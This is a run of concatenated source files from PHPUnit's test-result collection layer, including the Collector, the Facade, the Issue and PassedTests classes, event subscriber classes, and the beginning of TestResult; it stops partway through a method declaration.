function testConsideredRisky(ConsideredRisky $event): void { if (!isset($this->testConsideredRiskyEvents[$event->test()->id()])) { $this->testConsideredRiskyEvents[$event->test()->id()] = []; } $this->testConsideredRiskyEvents[$event->test()->id()][] = $event; } public function testTriggeredDeprecation(DeprecationTriggered $event): void { if ($event->ignoredByTest()) { return; } if ($event->ignoredByBaseline()) { $this->numberOfIssuesIgnoredByBaseline++; return; } if (!$this->source->ignoreSuppressionOfDeprecations() && $event->wasSuppressed()) { return; } if ($this->source->restrictDeprecations() && !SourceFilter::instance()->includes($event->file())) { return; } $id = $this->issueId($event); if (!isset($this->deprecations[$id])) { $this->deprecations[$id] = Issue::from( $event->file(), $event->line(), $event->message(), $event->test(), ); return; } $this->deprecations[$id]->triggeredBy($event->test()); } public function testTriggeredPhpDeprecation(PhpDeprecationTriggered $event): void { if ($event->ignoredByTest()) { return; } if ($event->ignoredByBaseline()) { $this->numberOfIssuesIgnoredByBaseline++; return; } if (!$this->source->ignoreSuppressionOfPhpDeprecations() && $event->wasSuppressed()) { return; } if ($this->source->restrictDeprecations() && !SourceFilter::instance()->includes($event->file())) { return; } $id = $this->issueId($event); if (!isset($this->phpDeprecations[$id])) { $this->phpDeprecations[$id] = Issue::from( $event->file(), $event->line(), $event->message(), $event->test(), ); return; } $this->phpDeprecations[$id]->triggeredBy($event->test()); } public function testTriggeredPhpunitDeprecation(PhpunitDeprecationTriggered $event): void { if (!isset($this->testTriggeredPhpunitDeprecationEvents[$event->test()->id()])) { $this->testTriggeredPhpunitDeprecationEvents[$event->test()->id()] = []; } $this->testTriggeredPhpunitDeprecationEvents[$event->test()->id()][] = $event; } public function testTriggeredError(ErrorTriggered $event): void { if (!$this->source->ignoreSuppressionOfErrors() && $event->wasSuppressed()) { return; } $id = $this->issueId($event); if (!isset($this->errors[$id])) { $this->errors[$id] = Issue::from( $event->file(), $event->line(), $event->message(), $event->test(), ); return; } $this->errors[$id]->triggeredBy($event->test()); } public function testTriggeredNotice(NoticeTriggered $event): void { if ($event->ignoredByBaseline()) { $this->numberOfIssuesIgnoredByBaseline++; return; } if (!$this->source->ignoreSuppressionOfNotices() && $event->wasSuppressed()) { return; } if ($this->source->restrictNotices() && !SourceFilter::instance()->includes($event->file())) { return; } $id = $this->issueId($event); if (!isset($this->notices[$id])) { $this->notices[$id] = Issue::from( $event->file(), $event->line(), $event->message(), $event->test(), ); return; } $this->notices[$id]->triggeredBy($event->test()); } public function testTriggeredPhpNotice(PhpNoticeTriggered $event): void { if ($event->ignoredByBaseline()) { $this->numberOfIssuesIgnoredByBaseline++; return; } if (!$this->source->ignoreSuppressionOfPhpNotices() && $event->wasSuppressed()) { return; } if ($this->source->restrictNotices() && !SourceFilter::instance()->includes($event->file())) { return; } $id = $this->issueId($event); if (!isset($this->phpNotices[$id])) { $this->phpNotices[$id] = Issue::from( $event->file(), $event->line(), $event->message(), $event->test(), ); return; } $this->phpNotices[$id]->triggeredBy($event->test()); } public function testTriggeredWarning(WarningTriggered $event): void { if ($event->ignoredByBaseline()) { $this->numberOfIssuesIgnoredByBaseline++; return; } if (!$this->source->ignoreSuppressionOfWarnings() && $event->wasSuppressed()) { return; } if ($this->source->restrictWarnings() && !SourceFilter::instance()->includes($event->file())) { return; } $id = $this->issueId($event); if (!isset($this->warnings[$id])) { $this->warnings[$id] = Issue::from( $event->file(), $event->line(), $event->message(), $event->test(), ); return; } $this->warnings[$id]->triggeredBy($event->test()); } public function testTriggeredPhpWarning(PhpWarningTriggered $event): void { if ($event->ignoredByBaseline()) { $this->numberOfIssuesIgnoredByBaseline++; return; } if (!$this->source->ignoreSuppressionOfPhpWarnings() && $event->wasSuppressed()) { return; } if ($this->source->restrictWarnings() && !SourceFilter::instance()->includes($event->file())) { return; } $id = $this->issueId($event); if (!isset($this->phpWarnings[$id])) { $this->phpWarnings[$id] = Issue::from( $event->file(), $event->line(), $event->message(), $event->test(), ); return; } $this->phpWarnings[$id]->triggeredBy($event->test()); } public function testTriggeredPhpunitError(PhpunitErrorTriggered $event): void { if (!isset($this->testTriggeredPhpunitErrorEvents[$event->test()->id()])) { $this->testTriggeredPhpunitErrorEvents[$event->test()->id()] = []; } $this->testTriggeredPhpunitErrorEvents[$event->test()->id()][] = $event; } public function testTriggeredPhpunitWarning(PhpunitWarningTriggered $event): void { if (!isset($this->testTriggeredPhpunitWarningEvents[$event->test()->id()])) { $this->testTriggeredPhpunitWarningEvents[$event->test()->id()] = []; } $this->testTriggeredPhpunitWarningEvents[$event->test()->id()][] = $event; } public function testRunnerTriggeredDeprecation(TestRunnerDeprecationTriggered $event): void { $this->testRunnerTriggeredDeprecationEvents[] = $event; } public function testRunnerTriggeredWarning(TestRunnerWarningTriggered $event): void { $this->testRunnerTriggeredWarningEvents[] = $event; } public function hasErroredTests(): bool { return !empty($this->testErroredEvents); } public function hasFailedTests(): bool { return !empty($this->testFailedEvents); } public function hasRiskyTests(): bool { return !empty($this->testConsideredRiskyEvents); } public function hasSkippedTests(): bool { return !empty($this->testSkippedEvents); } public function hasIncompleteTests(): bool { return !empty($this->testMarkedIncompleteEvents); } public function hasDeprecations(): bool { return !empty($this->deprecations) || !empty($this->phpDeprecations) || !empty($this->testTriggeredPhpunitDeprecationEvents) || !empty($this->testRunnerTriggeredDeprecationEvents); } public function hasNotices(): bool { return !empty($this->notices) || !empty($this->phpNotices); } public function hasWarnings(): bool { return !empty($this->warnings) || !empty($this->phpWarnings) || !empty($this->testTriggeredPhpunitWarningEvents) || !empty($this->testRunnerTriggeredWarningEvents); } /** * @psalm-return non-empty-string */ private function issueId(DeprecationTriggered|ErrorTriggered|NoticeTriggered|PhpDeprecationTriggered|PhpNoticeTriggered|PhpWarningTriggered|WarningTriggered $event): string { return implode(':', [$event->file(), $event->line(), $event->message()]); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\TextUI\Configuration\Registry as ConfigurationRegistry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Facade { private static ?Collector $collector = null; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public static function init(): void { self::collector(); } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public static function result(): TestResult { return self::collector()->result(); } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public static function shouldStop(): bool { $configuration = ConfigurationRegistry::get(); $collector = self::collector(); if (($configuration->stopOnDefect() || $configuration->stopOnError()) && $collector->hasErroredTests()) { return true; } if (($configuration->stopOnDefect() || $configuration->stopOnFailure()) && $collector->hasFailedTests()) { return true; } if (($configuration->stopOnDefect() || $configuration->stopOnWarning()) && $collector->hasWarnings()) { return true; } if (($configuration->stopOnDefect() || $configuration->stopOnRisky()) && $collector->hasRiskyTests()) { return true; } if ($configuration->stopOnDeprecation() && $collector->hasDeprecations()) { return true; } if ($configuration->stopOnNotice() && $collector->hasNotices()) { return true; } if ($configuration->stopOnIncomplete() && $collector->hasIncompleteTests()) { return true; } if ($configuration->stopOnSkipped() && $collector->hasSkippedTests()) { return true; } return false; } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private static function collector(): Collector { if (self::$collector === null) { $configuration = ConfigurationRegistry::get(); self::$collector = new Collector( EventFacade::instance(), $configuration->source(), ); } return self::$collector; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult\Issues; use PHPUnit\Event\Code\Test; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Issue { /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; /** * @psalm-var non-empty-string */ private readonly string $description; /** * @psalm-var non-empty-array */ private array $triggeringTests; /** * @psalm-param non-empty-string $file * @psalm-param positive-int $line * @psalm-param non-empty-string $description */ public static function from(string $file, int $line, string $description, Test $triggeringTest): self { return new self($file, $line, $description, $triggeringTest); } /** * @psalm-param non-empty-string $file * @psalm-param positive-int $line * @psalm-param non-empty-string $description */ private function __construct(string $file, int $line, string $description, Test $triggeringTest) { $this->file = $file; $this->line = $line; $this->description = $description; $this->triggeringTests = [ $triggeringTest->id() => [ 'test' => $triggeringTest, 'count' => 1, ], ]; } public function triggeredBy(Test $test): void { if (isset($this->triggeringTests[$test->id()])) { $this->triggeringTests[$test->id()]['count']++; return; } $this->triggeringTests[$test->id()] = [ 'test' => $test, 'count' => 1, ]; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } /** * @psalm-return non-empty-string */ public function description(): string { return $this->description; } /** * @psalm-return non-empty-array */ public function triggeringTests(): array { return $this->triggeringTests; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use function array_merge; use function assert; use function in_array; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Framework\TestSize\Known; use PHPUnit\Framework\TestSize\TestSize; use PHPUnit\Metadata\Api\Groups; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PassedTests { private static ?self $instance = null; /** * @psalm-var list */ private array $passedTestClasses = []; /** * @psalm-var array */ private array $passedTestMethods = []; public static function instance(): self { if (self::$instance !== null) { return self::$instance; } self::$instance = new self; return self::$instance; } /** * @psalm-param class-string $className */ public function testClassPassed(string $className): void { $this->passedTestClasses[] = $className; } public function testMethodPassed(TestMethod $test, mixed $returnValue): void { $size = (new Groups)->size( $test->className(), $test->methodName(), ); $this->passedTestMethods[$test->className() . '::' . $test->methodName()] = [ 'returnValue' => $returnValue, 'size' => $size, ]; } public function import(self $other): void { $this->passedTestClasses = array_merge( $this->passedTestClasses, $other->passedTestClasses, ); $this->passedTestMethods = array_merge( $this->passedTestMethods, $other->passedTestMethods, ); } /** * @psalm-param class-string $className */ public function hasTestClassPassed(string $className): bool { return in_array($className, $this->passedTestClasses, true); } public function hasTestMethodPassed(string $method): bool { return isset($this->passedTestMethods[$method]); } public function isGreaterThan(string $method, TestSize $other): bool { if ($other->isUnknown()) { return false; } assert($other instanceof Known); $size = $this->passedTestMethods[$method]['size']; if ($size->isUnknown()) { return false; } assert($size instanceof Known); return $size->isGreaterThan($other); } public function returnValue(string $method): mixed { if (isset($this->passedTestMethods[$method])) { return $this->passedTestMethods[$method]['returnValue']; } return null; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\AfterLastTestMethodErrored; use PHPUnit\Event\Test\AfterLastTestMethodErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AfterTestClassMethodErroredSubscriber extends Subscriber implements AfterLastTestMethodErroredSubscriber { public function notify(AfterLastTestMethodErrored $event): void { $this->collector()->afterTestClassMethodErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\BeforeFirstTestMethodErrored; use PHPUnit\Event\Test\BeforeFirstTestMethodErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class BeforeTestClassMethodErroredSubscriber extends Subscriber implements BeforeFirstTestMethodErroredSubscriber { public function notify(BeforeFirstTestMethodErrored $event): void { $this->collector()->beforeTestClassMethodErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\TestRunner\ExecutionStarted; use PHPUnit\Event\TestRunner\ExecutionStartedSubscriber as TestRunnerExecutionStartedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExecutionStartedSubscriber extends Subscriber implements TestRunnerExecutionStartedSubscriber { public function notify(ExecutionStarted $event): void { $this->collector()->executionStarted($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Subscriber { private readonly Collector $collector; public function __construct(Collector $collector) { $this->collector = $collector; } protected function collector(): Collector { return $this->collector; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\ConsideredRiskySubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestConsideredRiskySubscriber extends Subscriber implements ConsideredRiskySubscriber { public function notify(ConsideredRisky $event): void { $this->collector()->testConsideredRisky($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\ErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestErroredSubscriber extends Subscriber implements ErroredSubscriber { public function notify(Errored $event): void { $this->collector()->testErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\FailedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFailedSubscriber extends Subscriber implements FailedSubscriber { public function notify(Failed $event): void { $this->collector()->testFailed($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFinishedSubscriber extends Subscriber implements FinishedSubscriber { public function notify(Finished $event): void { $this->collector()->testFinished($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\MarkedIncompleteSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestMarkedIncompleteSubscriber extends Subscriber implements MarkedIncompleteSubscriber { public function notify(MarkedIncomplete $event): void { $this->collector()->testMarkedIncomplete($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\PreparedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPreparedSubscriber extends Subscriber implements PreparedSubscriber { public function notify(Prepared $event): void { $this->collector()->testPrepared(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\TestRunner\DeprecationTriggered; use PHPUnit\Event\TestRunner\DeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestRunnerTriggeredDeprecationSubscriber extends Subscriber implements DeprecationTriggeredSubscriber { public function notify(DeprecationTriggered $event): void { $this->collector()->testRunnerTriggeredDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\TestRunner\WarningTriggered; use PHPUnit\Event\TestRunner\WarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestRunnerTriggeredWarningSubscriber extends Subscriber implements WarningTriggeredSubscriber { public function notify(WarningTriggered $event): void { $this->collector()->testRunnerTriggeredWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\Test\SkippedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSkippedSubscriber extends Subscriber implements SkippedSubscriber { public function notify(Skipped $event): void { $this->collector()->testSkipped($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\TestSuite\Finished; use PHPUnit\Event\TestSuite\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteFinishedSubscriber extends Subscriber implements FinishedSubscriber { public function notify(Finished $event): void { $this->collector()->testSuiteFinished($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\TestSuite\Skipped; use PHPUnit\Event\TestSuite\SkippedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteSkippedSubscriber extends Subscriber implements SkippedSubscriber { public function notify(Skipped $event): void { $this->collector()->testSuiteSkipped($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\TestSuite\Started; use PHPUnit\Event\TestSuite\StartedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteStartedSubscriber extends Subscriber implements StartedSubscriber { public function notify(Started $event): void { $this->collector()->testSuiteStarted($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\DeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredDeprecationSubscriber extends Subscriber implements DeprecationTriggeredSubscriber { public function notify(DeprecationTriggered $event): void { $this->collector()->testTriggeredDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\ErrorTriggered; use PHPUnit\Event\Test\ErrorTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredErrorSubscriber extends Subscriber implements ErrorTriggeredSubscriber { public function notify(ErrorTriggered $event): void { $this->collector()->testTriggeredError($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\NoticeTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredNoticeSubscriber extends Subscriber implements NoticeTriggeredSubscriber { public function notify(NoticeTriggered $event): void { $this->collector()->testTriggeredNotice($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpDeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpDeprecationSubscriber extends Subscriber implements PhpDeprecationTriggeredSubscriber { public function notify(PhpDeprecationTriggered $event): void { $this->collector()->testTriggeredPhpDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpNoticeTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpNoticeSubscriber extends Subscriber implements PhpNoticeTriggeredSubscriber { public function notify(PhpNoticeTriggered $event): void { $this->collector()->testTriggeredPhpNotice($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\PhpWarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpWarningSubscriber extends Subscriber implements PhpWarningTriggeredSubscriber { public function notify(PhpWarningTriggered $event): void { $this->collector()->testTriggeredPhpWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\PhpunitDeprecationTriggered; use PHPUnit\Event\Test\PhpunitDeprecationTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpunitDeprecationSubscriber extends Subscriber implements PhpunitDeprecationTriggeredSubscriber { public function notify(PhpunitDeprecationTriggered $event): void { $this->collector()->testTriggeredPhpunitDeprecation($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\PhpunitErrorTriggered; use PHPUnit\Event\Test\PhpunitErrorTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpunitErrorSubscriber extends Subscriber implements PhpunitErrorTriggeredSubscriber { public function notify(PhpunitErrorTriggered $event): void { $this->collector()->testTriggeredPhpunitError($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\PhpunitWarningTriggered; use PHPUnit\Event\Test\PhpunitWarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredPhpunitWarningSubscriber extends Subscriber implements PhpunitWarningTriggeredSubscriber { public function notify(PhpunitWarningTriggered $event): void { $this->collector()->testTriggeredPhpunitWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\Event\Test\WarningTriggeredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestTriggeredWarningSubscriber extends Subscriber implements WarningTriggeredSubscriber { public function notify(WarningTriggered $event): void { $this->collector()->testTriggeredWarning($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use function count; use PHPUnit\Event\Test\AfterLastTestMethodErrored; use PHPUnit\Event\Test\BeforeFirstTestMethodErrored; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\PhpunitDeprecationTriggered; use PHPUnit\Event\Test\PhpunitErrorTriggered; use PHPUnit\Event\Test\PhpunitWarningTriggered; use PHPUnit\Event\Test\Skipped as TestSkipped; use PHPUnit\Event\TestRunner\DeprecationTriggered as TestRunnerDeprecationTriggered; use PHPUnit\Event\TestRunner\WarningTriggered as TestRunnerWarningTriggered; use PHPUnit\Event\TestSuite\Skipped as TestSuiteSkipped; use PHPUnit\TestRunner\TestResult\Issues\Issue; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestResult { private readonly int $numberOfTests; private readonly int $numberOfTestsRun; private readonly int $numberOfAssertions; /** * @psalm-var list */ private readonly array $testErroredEvents; /** * @psalm-var list */ private readonly array $testFailedEvents; /** * @psalm-var list */ private readonly array $testMarkedIncompleteEvents; /** * @psalm-var list */ private readonly array $testSuiteSkippedEvents; /** * @psalm-var list */ private readonly array $testSkippedEvents; /** * @psalm-var array> */ private readonly array $testConsideredRiskyEvents; /** * @psalm-var array> */ private readonly array $testTriggeredPhpunitDeprecationEvents; /** * @psalm-var array> */ private readonly array $testTriggeredPhpunitErrorEvents; /** * @psalm-var array> */ private readonly array $testTriggeredPhpunitWarningEvents; /** * @psalm-var list */ private readonly array $testRunnerTriggeredDeprecationEvents; /** * @psalm-var list */ private readonly array $testRunnerTriggeredWarningEvents; /** * @psalm-var list */ private readonly array $errors; /** * @psalm-var list */ private readonly array $deprecations; /** * @psalm-var list */ private readonly array $notices; /** * @psalm-var list */ private readonly array $warnings; /** * @psalm-var list */ private readonly array $phpDeprecations; /** * @psalm-var list */ private readonly array $phpNotices; /** * @psalm-var list */ private readonly array $phpWarnings; /** * @psalm-var non-negative-int */ private readonly int $numberOfIssuesIgnoredByBaseline; /** * @psalm-param list $testErroredEvents * @psalm-param list $testFailedEvents * @psalm-param array> $testConsideredRiskyEvents * @psalm-param list $testSuiteSkippedEvents * @psalm-param list $testSkippedEvents * @psalm-param list $testMarkedIncompleteEvents * @psalm-param array> $testTriggeredPhpunitDeprecationEvents * @psalm-param array> $testTriggeredPhpunitErrorEvents * @psalm-param array> $testTriggeredPhpunitWarningEvents * @psalm-param list $testRunnerTriggeredDeprecationEvents * @psalm-param list $testRunnerTriggeredWarningEvents * @psalm-param list $errors * @psalm-param list $deprecations * @psalm-param list $notices * @psalm-param list $warnings * @psalm-param list $phpDeprecations * @psalm-param list $phpNotices * @psalm-param list $phpWarnings * @psalm-param non-negative-int $numberOfIssuesIgnoredByBaseline */ public function __construct(int $numberOfTests, int $numberOfTestsRun, int $numberOfAssertions, array $testErroredEvents, array $testFailedEvents, array $testConsideredRiskyEvents, array $testSuiteSkippedEvents, array $testSkippedEvents, array $testMarkedIncompleteEvents, array $testTriggeredPhpunitDeprecationEvents, array $testTriggeredPhpunitErrorEvents, array $testTriggeredPhpunitWarningEvents, array $testRunnerTriggeredDeprecationEvents, array $testRunnerTriggeredWarningEvents, array $errors, array $deprecations, array $notices, array $warnings, array $phpDeprecations, array $phpNotices, array $phpWarnings, int $numberOfIssuesIgnoredByBaseline) { $this->numberOfTests = $numberOfTests; $this->numberOfTestsRun = $numberOfTestsRun; $this->numberOfAssertions = $numberOfAssertions; $this->testErroredEvents = $testErroredEvents; $this->testFailedEvents = $testFailedEvents; $this->testConsideredRiskyEvents = $testConsideredRiskyEvents; $this->testSuiteSkippedEvents = $testSuiteSkippedEvents; $this->testSkippedEvents = $testSkippedEvents; $this->testMarkedIncompleteEvents = $testMarkedIncompleteEvents; $this->testTriggeredPhpunitDeprecationEvents = $testTriggeredPhpunitDeprecationEvents; $this->testTriggeredPhpunitErrorEvents = $testTriggeredPhpunitErrorEvents; $this->testTriggeredPhpunitWarningEvents = $testTriggeredPhpunitWarningEvents; $this->testRunnerTriggeredDeprecationEvents = $testRunnerTriggeredDeprecationEvents; $this->testRunnerTriggeredWarningEvents = $testRunnerTriggeredWarningEvents; $this->errors = $errors; $this->deprecations = $deprecations; $this->notices = $notices; $this->warnings = $warnings; $this->phpDeprecations = $phpDeprecations; $this->phpNotices = $phpNotices; $this->phpWarnings = $phpWarnings; $this->numberOfIssuesIgnoredByBaseline = $numberOfIssuesIgnoredByBaseline; } public function numberOfTestsRun(): int { return $this->numberOfTestsRun; } public function numberOfAssertions(): int { return $this->numberOfAssertions; } /** * @psalm-return list */ public function testErroredEvents(): array { return $this->testErroredEvents; } public function numberOfTestErroredEvents(): int { return count($this->testErroredEvents); } public function hasTestErroredEvents(): bool { return $this->numberOfTestErroredEvents() > 0; } /** * @psalm-return list */ public function testFailedEvents(): array { return $this->testFailedEvents; } public function numberOfTestFailedEvents(): int { return count($this->testFailedEvents); } public function hasTestFailedEvents(): bool { return $this->numberOfTestFailedEvents() > 0; } /** * @psalm-return array> */ public function testConsideredRiskyEvents(): array { return $this->testConsideredRiskyEvents; } public function numberOfTestsWithTestConsideredRiskyEvents(): int { return count($this->testConsideredRiskyEvents); } public function hasTestConsideredRiskyEvents(): bool { return $this->numberOfTestsWithTestConsideredRiskyEvents() > 0; } /** * @psalm-return list */ public function testSuiteSkippedEvents(): array { return $this->testSuiteSkippedEvents; } public function numberOfTestSuiteSkippedEvents(): int { return count($this->testSuiteSkippedEvents); } public function hasTestSuiteSkippedEvents(): bool { return $this->numberOfTestSuiteSkippedEvents() > 0; } /** * @psalm-return list */ public function testSkippedEvents(): array { return $this->testSkippedEvents; } public function 